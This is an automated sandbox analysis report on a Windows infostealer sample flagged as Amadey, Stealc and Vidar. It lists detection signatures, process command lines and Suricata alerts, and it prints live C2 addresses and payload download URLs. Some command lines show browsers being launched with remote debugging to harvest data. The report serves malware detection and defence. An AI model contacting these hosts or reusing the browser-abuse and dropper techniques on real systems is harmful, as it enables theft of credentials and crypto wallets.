Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1564591
MD5:	ca0ad971e610676ade1d3af832c47135
SHA1:	ee9ed8a2f7c83cc8106f13c949b5ad134d16b0a5
SHA256:	9b5e3da919a3b72949ab9fbfa36b987144e04cf5dab0c275d1afb2b843b4bca9
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Maps a DLL or memory area into another process

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

PE file does not import any functions

PE file overlay found

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 5684 cmdline: "C:\Users\user\Desktop\file.exe" MD5: CA0AD971E610676ADE1D3AF832C47135)

chrome.exe (PID: 7256 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7512 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2600 --field-trial-handle=2516,i,4653955060801364549,16238247889288816033,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 4608 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7784 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2532 --field-trial-handle=2208,i,5111306584062863557,2767766630891137064,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 6952 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIIJKJDAFHJ.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7216 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsIIJKJDAFHJ.exe (PID: 8464 cmdline: "C:\Users\user\DocumentsIIJKJDAFHJ.exe" MD5: 9DEA0E097A9267EEC56E1D08E9F37554)

skotes.exe (PID: 7988 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 9DEA0E097A9267EEC56E1D08E9F37554)

msedge.exe (PID: 7800 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7312 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2236 --field-trial-handle=2192,i,10653102050523514978,13544990059289040474,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 8664 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6016 --field-trial-handle=2192,i,10653102050523514978,13544990059289040474,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 8924 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6016 --field-trial-handle=2192,i,10653102050523514978,13544990059289040474,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 9048 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6860 --field-trial-handle=2192,i,10653102050523514978,13544990059289040474,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 9092 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7020 --field-trial-handle=2192,i,10653102050523514978,13544990059289040474,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8936 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7116 --field-trial-handle=2192,i,10653102050523514978,13544990059289040474,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 7616 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 9DEA0E097A9267EEC56E1D08E9F37554)

skotes.exe (PID: 6888 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 9DEA0E097A9267EEC56E1D08E9F37554)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001C.00000002.2812090807.00000000001D1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2734481674.0000000000DF1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000003.2771092690.0000000005180000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000022.00000003.3315379474.0000000004850000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2736555309.000000000172E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2736555309.000000000172E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000002.2811446858.00000000001D1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000002.2770111286.0000000000B11000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2167191514.0000000005270000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000003.2771645245.00000000049A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000022.00000002.3405864254.00000000001D1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001A.00000003.2729438980.0000000005300000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: file.exe PID: 5684	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 5684	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 5684	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 5684	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author
26.2.DocumentsIIJKJDAFHJ.exe.b10000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
28.2.skotes.exe.1d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
27.2.skotes.exe.1d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
34.2.skotes.exe.1d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 5684, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 7256, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T15:17:12.914181+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49712	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T15:17:12.591756+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49712	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T15:17:13.252512+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49712	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T15:17:15.426102+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49712	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T15:17:13.575545+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49712	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T15:17:12.135890+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49712	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T15:19:05.852737+0100	2856147	1	A Network Trojan was detected	192.168.2.6	49920	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T15:17:00.196673+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	49921	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T15:19:10.447044+0100	2803305	3	Unknown Traffic	192.168.2.6	49922	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-28T15:17:16.188603+0100	2803304	3	Unknown Traffic	192.168.2.6	49712	185.215.113.206	80	TCP
2024-11-28T15:17:39.290755+0100	2803304	3	Unknown Traffic	192.168.2.6	49804	185.215.113.206	80	TCP
2024-11-28T15:17:41.378121+0100	2803304	3	Unknown Traffic	192.168.2.6	49804	185.215.113.206	80	TCP
2024-11-28T15:17:42.589319+0100	2803304	3	Unknown Traffic	192.168.2.6	49804	185.215.113.206	80	TCP
2024-11-28T15:17:43.741807+0100	2803304	3	Unknown Traffic	192.168.2.6	49804	185.215.113.206	80	TCP
2024-11-28T15:17:47.365661+0100	2803304	3	Unknown Traffic	192.168.2.6	49804	185.215.113.206	80	TCP
2024-11-28T15:17:48.496788+0100	2803304	3	Unknown Traffic	192.168.2.6	49804	185.215.113.206	80	TCP
2024-11-28T15:17:58.511102+0100	2803304	3	Unknown Traffic	192.168.2.6	49887	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/c4becf79229cb002.phpJDAFHJ.exeata;	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/6180536652/nbea1t8.exe;	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dllvRq	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/freebl3.dllzUM	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dlllU	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/2C	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/6180536652/nbea1t8.exe	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0000001C.00000002.2812090807.00000000001D1000.00000040.00000001.01000000.0000000E.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000000.00000002.2736555309.000000000172E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C966C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C966C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.223.35.26:443 -> 192.168.2.6:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.161.164:443 -> 192.168.2.6:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.161.164:443 -> 192.168.2.6:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.53.19:443 -> 192.168.2.6:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.27.10:443 -> 192.168.2.6:49863 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.58.43:443 -> 192.168.2.6:49871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:49896 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2783399655.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2783399655.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2782448847.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 5MB later: 29MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49712 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49712 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49712
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49712 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49712
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49712 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.6:49920 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:49921

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 28 Nov 2024 14:17:15 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 